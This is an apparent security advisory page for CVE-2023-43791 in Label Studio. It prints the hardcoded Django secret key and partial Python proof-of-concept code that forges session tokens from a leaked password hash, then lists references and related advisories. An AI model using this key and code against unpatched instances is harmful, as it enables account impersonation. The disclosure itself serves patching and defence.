Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
Critical9.8CVE-2023-43791 · Published Nov 9, 2023 · updated Nov 22, 2024
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| label-studio PyPI | < 1.8.2 | 1.8.2 |
Details and references
# Introduction This write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability was found to affect versions before `1.8.2`, where a patch was introduced. # Overview In [Label Studio version 1.8.1](https://github.com/HumanSignal/label-studio/tree/1.8.1), a hard coded Django `SECRET_KEY` was set in the application settings. The Django `SECRET_KEY` is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties. However, the Django framework inserts a `_auth_user_hash` claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) and forge session tokens for all users on Label Studio using the hard coded `SECRET_KEY`. # Description Below is the code snippet of the Django settings file at [`label_studio/core/settings/base.py`](https://github.com/HumanSignal/label-studio/blob/1.8.1/label_studio/core/settings/base.py#L108). ```python # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n' ``` This secret is hard coded across all instances of Label Studio. # Proof of Concept Below are the steps that an attacker could do to forge a session token of any account on Label Studio: 1. Exploit the ORM Leak vulnerability (patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email `ghostccamm@testvm.local` with the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=` that was retrieved. 2. Create a new Django project with an empty application. In `cookieforge/cookieforge/settings.py` set the `SECRET_KEY` to `$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n`. Create a management command with the following code that will be used to create forged session tokens. ```python from typing import Any from django.core.management.base import BaseCommand, CommandParser from django.core import signing from django.utils.crypto import salted_hmac from django.conf import settings import time, uuid class Command(BaseCommand): help = "Forge a users session cookie on Label Studio" def add_arguments(self, parser: CommandParser) -> None: parser.add_argument( '-o', '--organisation', help='Organisation ID to access', default=1, type=int ) parser.add_argument( 'user_id', help='The User ID of the victim you want to impersonate', type=str ) parser.add_argument( 'user_hash', help='The password hash the user you want to impersonate' ) def handle(self, *args: Any, **options: Any) -> str | None: key = settings.SECRET_KEY # Creates the _auth_user_hash HMAC of the victim's password hash auth_user_hash = salted_hmac( 'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash', options['user_hash'], secret=key, algorithm="sha256" ).hexdigest() session_dict = { 'uid': str(uuid.uuid4()), 'organization_pk': options['organisation'], 'next_page': '/projects/', 'last_login':
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-200
- Also known as
- CVE-2023-43791, PYSEC-2023-274
- github.com/HumanSignal/label-studio/security/advisories/GHSA-f475-x83m-rx5m
- nvd.nist.gov/vuln/detail/CVE-2023-43791
- github.com/HumanSignal/label-studio/pull/4690
- github.com/HumanSignal/label-studio/commit/3d06c5131c15600621e08b06f07d976887cde81b
- github.com/HumanSignal/label-studio
- github.com/HumanSignal/label-studio/releases/tag/1.8.2
- github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2023-274.yaml
More Label Studio advisories
All Label Studio| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Nov 142023 | Label Studio Object Relational Mapper Leak Vulnerability in Filtering Task CVE-2023-47117High7.5fixed in 1.9.2.post0 | High7.5 | 1.9.2.post0 |
| Jan 242024 | Cross-site Scripting Vulnerability on Avatar Upload CVE-2023-47115High7.1fixed in 1.9.2 | High7.1 | 1.9.2 |
| Jan 242024 | Cross-site Scripting Vulnerability on Data Import CVE-2024-23633Medium4.7fixed in 1.10.1 | Medium4.7 | 1.10.1 |
| Jan 312024 | Label Studio SSRF on Import Bypassing `SSRF_PROTECTION_ENABLED` Protections CVE-2023-47116Medium5.3fixed in 1.11.0 | Medium5.3 | 1.11.0 |
| Feb 222024 | Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config CVE-2024-26152Medium4.7fixed in 1.11.0 | Medium4.7 | 1.11.0 |
| Mar 242023 | Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/ GHSA-cpmr-mw4j-99r7High7.5fixed in 1.7.2 | High7.5 | 1.7.2 |